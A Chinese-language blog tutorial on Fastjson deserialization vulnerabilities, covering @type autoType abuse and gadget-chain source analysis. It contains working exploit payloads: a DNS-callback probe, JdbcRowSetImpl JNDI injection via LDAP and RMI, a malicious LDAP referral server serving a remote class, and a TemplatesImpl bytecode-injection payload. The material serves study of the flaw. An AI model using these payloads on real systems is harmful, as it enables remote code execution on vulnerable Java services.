Fastjson反序列化
本文最后更新于 2 天前,其中的信息可能已经有所发展或是发生改变。

概述

Fastjson是阿里巴巴开源的json解析库,他可以解析json格式的字符串并且支持将JAVA Object序列化为json字符串,也可以从json字符串反序列化到java object

它主要提供了两个接口来分别实现对java Object的序列化和反序列化的操作

  • JSON.toJSONString
  • JSON.parseObject/JSON.parse
方法返回值用途适用场景
JSON.toJSONString()String序列化:对象 → JSON字符串输出JSON、网络传输、存储
JSON.parseObject(json, Class)指定类型对象反序列化:JSON字符串 → 指定类型对象解析已知结构的JSON
JSON.parseObject(json)JSONObject反序列化:JSON字符串 → JSONObject解析未知或动态结构的JSON
JSON.parse()Object底层解析:JSON字符串 → Object需要灵活类型处理的场景

并不是所有的java对象都能被转为JSON,只有Java Bean格式的对象才能Fastjson被转为JSON

Java Bean 的基本规范

必须满足的条件:

  1. 公共的无参构造函数
  2. 私有属性(字段)
  3. 公共的getter和setter方法
  4. 可序列化(实现Serializable接口)
//序列化
String text = JSON.toJSONString(obj);

//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

利用dome看一下序列化和反序列化

User.java

package json_dome;

public class User {
  private String name;
  private int age;
  private String email;

  // 必须有无参构造函数
  public User() {
  }

  public User(String name, int age, String email) {
      this.name = name;
      this.age = age;
      this.email = email;
  }

  // getter和setter方法
  public String getName() {
      return name;
  }

  public void setName(String name) {
      this.name = name;
  }

  public int getAge() {
      return age;
  }

  public void setAge(int age) {
      this.age = age;
  }
}

FastJsonExample.java

package json_dome;
import com.alibaba.fastjson.JSON;


public class FastJsonExample {
  public static void main(String[] args) {
      // 创建一个User对象
      User user = new User();
      user.setAge(19);
      user.setName("empty");
      System.out.println("--------------------序列化操作----------------------");
      //将其序列化为JSON
      String json = JSON.toJSONString(user);
      System.out.println(json);

      System.out.println("----------------------反序列化操作-------------------------");
      //使用parse方法,将JSON反序列化为一个JSONObject
      Object json1 = JSON.parse(json);
      System.out.println(json1.getClass().getName());
      System.out.println(json1);

      System.out.println("-----------------------反序列化操作------------------------");
      //使用parseObject方法,并指定类,将JSON反序列化为一个指定的类对象
      Object json2 = JSON.parseObject(json,User.class);
      System.out.println(json2.getClass().getName());
      System.out.println(json2);

  }
}

运行结果

--------------序列化-------------
{"age":18,"name":"Faster"}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Faster","age":18}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Faster","age":18}
-------------反序列化-------------
Person
Person@e2144e4

这里我们修改一下,让setter方法加上输出一句话,我们再测试parseObject()

新的运行结果

setAge:
setName:
--------------------序列化操作----------------------
{"age":19,"name":"empty"}
----------------------反序列化操作-------------------------
com.alibaba.fastjson.JSONObject
{"name":"empty","age":19}
-----------------------反序列化操作------------------------
setAge:
setName:
json_dome.User
json_dome.User@6d7b4f4c

可以看到在反序列化的时候,JSON#parseObject()方法再一次调用了原生类中的Setter方法

若我们再反序列化试不指定特定的类,那么Fastjson就会默认将一个JSON字符串反序列化为一个JSONObject

但是类中的private的属性值不会被序列化和反序列化

可见不设置特定类,会是默认的JSONObject,同样也不会再次调用原本类中写的,仅仅是将JSON字符串进行反序列化

Fastjson–@type

从简单的例子中我们可以看到,JSON#parseObject方法调用的时,我们固定了原生类诶为User.class,那么对于实际环境中有很多类,我们改如何知道我们需要反序列化什么类的对象呢,这是我们引入@type属性

@type属性是fastjson中的一个特殊注释,用于标识JSON字符串中的某个属性是哪一个java对象的类型,具体来说,当fastjson从JSON字符串反序列化为java对象时,如果JSON字符串包含@type属性,fastjson会根据该属性的值来确认反序列化后的java对象的类型

这里有两种方法

第一种

在序列化的时候,在toJSONString()方法中添加额外的属性SerializerFeature.WriteClassName,将对象类型一起序列化

package json_dome;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Testing {
  public static void main(String[] args) {
      User user1 = new User();
      user1.setAge(19);
      user1.setName("empty");

      String ser = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
      System.out.println(ser);
  }

}

我们看到添加了@type字段,用于标识对象所属的嘞

在反序列化的时候,parse()方法机会根据@type转化为原来的类

package json_dome;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Testing {
  public static void main(String[] args) {
      User user1 = new User();
      user1.setAge(19);
      user1.setName("empty");

      System.out.println("序列化操作");
      String ser = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
      System.out.println(ser);

      System.out.println("反序列化操作");
      Object ser1 = JSON.parse(ser);
      System.out.println(ser1);

  }

}

这里我用的Fastjson版本是1.2.24,我还另用了2点几的版本,好像是默认禁用autoType了,parseObject也不行,可能是行为统一了

第二种

第二种方法是在反序列化的时候,在parseObject()方法中手动指定对象的类型

简单利用

那么我们是不是可以利用此,指定恶意类呢,前提是type没有进行严格的处理

DNS

package json_dome;
import com.alibaba.fastjson.JSON;
import java.net.Inet4Address;
import java.net.UnknownHostException;

public class DNS {
  public static void main(String[] args) throws UnknownHostException {
      String ser_json = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"gmgy2rqg.requestrepo.com\"}";

      // 反序列化操作
      Inet4Address inetAddress = JSON.parseObject(ser_json, Inet4Address.class);
      System.out.println(inetAddress);
  }
}

那么我们知道指定原生类的话,还会调用一次我们写好的setter方法,那么如果我们在这些方法中插入恶意代码呢?

AutoTypeSupport

AutoTypeSupport是fastjson中的一个配置选项,用于控制自动类型转换的支持

默认情况下fastjson>=1.2.25会禁用自动类型转换功能,防止恶意风险,学到这也就解决了我最开始上面遇到的疑问和问题

Fastjson<=1.2.24

首先来看看支持type版本内的漏洞,主要是JdbcRowSetImpl和Templateslmpl

jdbcRowSetlmpl利用链

JNDI(Java Naming and Directory Interface)是 Java 提供的一个 API,用于访问各种命名和目录服务

JDBC(Java Database Connectivity)是 Java 提供的用于执行 SQL 语句的 API,它让 Java 程序能够与各种关系型数据库进行交互

JdbcRowSetImpl利用链最终导致的JNDI注入,可以结合JNDI攻击手法进行利用,通用性最强的利用方式

其中关键在于JdbcRowSetImpl利用链如何调用到autoCommit的set方法,我们知道Fastjson会自动调用到类的set方法

所以我们跟进看一下,JdbcRowSetImpl中的setAutoCommit方法

public void setAutoCommit(boolean var1) throws SQLException {
      if (this.conn != null) {
          this.conn.setAutoCommit(var1);
      } else {
          this.conn = this.connect();
          this.conn.setAutoCommit(var1);
      }

  }

conn为null的话就会进入else语句,并调用到connect()方法,跟进connect方法

private Connection connect() throws SQLException {
      if (this.conn != null) {
          return this.conn;
      } else if (this.getDataSourceName() != null) {
          try {
              InitialContext var1 = new InitialContext();
              DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
              return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
          } catch (NamingException var3) {
              throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
          }
      } else {
          return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
      }
  }

如果没有配置数据源就会通过JDBC URL直接连接

我们跟进lookup方法,看到他是JNDI访问远程服务器获取远程对象的方法,参数为服务器地址

 public Object lookup(String name) throws NamingException {
      return getURLOrDefaultInitCtx(name).lookup(name);
  }

在看到setDataSourceName和getDataSourceName方法

public String getDataSourceName() {
      return dataSource;
  }


  public void setDataSourceName(String name) throws SQLException {

      if (name == null) {
          dataSource = null;
      } else if (name.equals("")) {
          throw new SQLException("DataSource name cannot be empty string");
      } else {
          dataSource = name;
      }

      URL = null;
  }

而且是public方法,我们可以在set里设置dataSource的值

构造利用链,当type类型为jdbcRowSetlmpl类型时,就会进行实例化,同时我们将dataSourceName传给lookup方法,就可以保证可以访问到远程的攻击服务器了,其中dataSource赋值为我们恶意文件的远程地址

LDAP+JNDI

import com.alibaba.fastjson.JSON;

public class Fastjson_Jdbc_LDAP {
  public static void main(String[] args) {
      String payload = "{" +
              "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
              "\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
              "\"autoCommit\":true" +
              "}";
      JSON.parse(payload);
  }
}

LDAP服务器 LDAP_Server.java

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAP_Server {

  private static final String LDAP_BASE = "dc=example,dc=com";

  public static void main ( String[] tmp_args ) {
      String[] args=new String[]{"http://127.0.0.1:8888/#EXP"};
      int port = 9999;

      try {
          InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
          config.setListenerConfigs(new InMemoryListenerConfig(
                  "listen", //$NON-NLS-1$
                  InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                  port,
                  ServerSocketFactory.getDefault(),
                  SocketFactory.getDefault(),
                  (SSLSocketFactory) SSLSocketFactory.getDefault()));

          config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
          InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
          System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
          ds.startListening();

      }
      catch ( Exception e ) {
          e.printStackTrace();
      }
  }

  private static class OperationInterceptor extends InMemoryOperationInterceptor {

      private URL codebase;

      public OperationInterceptor ( URL cb ) {
          this.codebase = cb;
      }

      @Override
      public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
          String base = result.getRequest().getBaseDN();
          Entry e = new Entry(base);
          try {
              sendResult(result, base, e);
          }
          catch ( Exception e1 ) {
              e1.printStackTrace();
          }
      }

      protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
          URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
          System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
          e.addAttribute("javaClassName", "foo");
          String cbstring = this.codebase.toString();
          int refPos = cbstring.indexOf('#');
          if ( refPos > 0 ) {
              cbstring = cbstring.substring(0, refPos);
          }
          e.addAttribute("javaCodeBase", cbstring);
          e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
          e.addAttribute("javaFactory", this.codebase.getRef());
          result.sendSearchEntry(e);
          result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
      }
  }
}

RMI+JNDI

payload

import com.alibaba.fastjson.JSON;

public class Fastjson_Jdbc_RMI {
  public static void main(String[] args) {
      String payload = "{" +
              "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
              "\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", " +
              "\"autoCommit\":true" +
              "}";
      JSON.parse(payload);
  }
}

哎哎,RMI连接老是被重置

dataSourceName需要放在autoCommit的前面,因为反序列化的时候是按先后顺序来set属性的,需要先执行setDataSourceName,然后再执行setAutoCommit

LDAP+JNDI

payload

import com.alibaba.fastjson.JSON;

public class Fastjson_Jdbc_LDAP {
  public static void main(String[] args) {
      String payload = "{" +
              "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
              "\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
              "\"autoCommit\":true" +
              "}";
      JSON.parse(payload);
  }
}

TemplatesImpl利用链

fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法,实例话传入恶意类,调用其构造方法,从而造成任意命令执行

这里利用Templateslmpl去打,实际就是换成json序列化后的字符串

{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":[恶意类的base64],
'_name':'Infernity',
'_tfactory':{},
'_outputProperties':{}
}

payload

package json_dome;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class Tem_poc {
  public static void main(String[] args) throws IOException {
      byte[] bytes = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));
      String base64_code = Base64.getEncoder().encodeToString(bytes);

      String Payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
              "\"_bytecodes\":[\""+base64_code+"\"]," +
              "\"_name\":\"test\"," +
              "\"_tfactory\":{}," +
              "\"_outputProperties\":{}" +
              "}\n";

      JSON.parseObject(Payload, Object.class, new ParserConfig(), Feature.SupportNonPublicField);
  }
}

源码分析

因为payload需要赋值的一些属性为private类型的,需要再parse()反序列化试设置第二个参数Feature.SupportNonPublicField,服务端才能从JSON中恢复private类型的属性

对于Templateslmpl链的最终目标是defineClass()进行动态类加载

其中Templateslmpl下的getOutputProperties()方法能够最终走到defineClass,同时格式也符合

public synchronized Properties getOutputProperties() {
  try {
      return newTransformer().getOutputProperties();
  }
  catch (TransformerConfigurationException e) {
      return null;
  }
}

调用了TemplatesImpl#newTransformer

public synchronized Transformer newTransformer()
      throws TransformerConfigurationException
  {
      TransformerImpl transformer;

      transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
          _indentNumber, _tfactory);

      if (_uriResolver != null) {
          transformer.setURIResolver(_uriResolver);
      }

      if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
          transformer.setSecureProcessing(true);
      }
      return transformer;
  }

继续跟进getTransletInstance()

private Translet getTransletInstance()
      throws TransformerConfigurationException {
      try {
          if (_name == null) return null;

          if (_class == null) defineTransletClasses();

          // The translet needs to keep a reference to all its auxiliary
          // class to prevent the GC from collecting them
          AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
          translet.postInitialization();
          translet.setTemplates(this);
          translet.setServicesMechnism(_useServicesMechanism);
          translet.setAllowedProtocols(_accessExternalStylesheet);
          if (_auxClasses != null) {
              translet.setAuxiliaryClasses(_auxClasses);
          }

          return translet;
      }
      catch (InstantiationException e) {
          ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
          throw new TransformerConfigurationException(err.toString());
      }
      catch (IllegalAccessException e) {
          ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
          throw new TransformerConfigurationException(err.toString());
      }
  }

跟进defineTransletClasses(),最终在该类中调用了defineClass()

构造一个TemplatesImpl类的JSON,并且将_outputProperties赋值,这样Fastjson在反序列化时就会调用getOutputProperties()方法了

要求

  • 属性_name的值不为null
  • 属性_class的值为null

__bytecodes为我们传入的恶意字节码

原本CC3中_tfactory需要设置一个TransformerFactoryImpl对象才能让链子走下去,但是这里设置为了空也能正常执行

因为类中已经定义好了

_tfactory知道是TransformerFactoryImpl

private transient TransformerFactoryImpl _tfactory = null;

还有一个base64编码的问题,在反序列化的时候,会对字符串类型进行判断,如果是base64就会被解码成byte数组

 if (token == JSONToken.LITERAL_STRING) {
          if (type == byte[].class) {
              byte[] bytes = lexer.bytesValue();
              lexer.nextToken();
              return (T) bytes;
          }
public byte[] bytesValue() {
      return IOUtils.decodeBase64(text, np + 1, sp);
  }
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇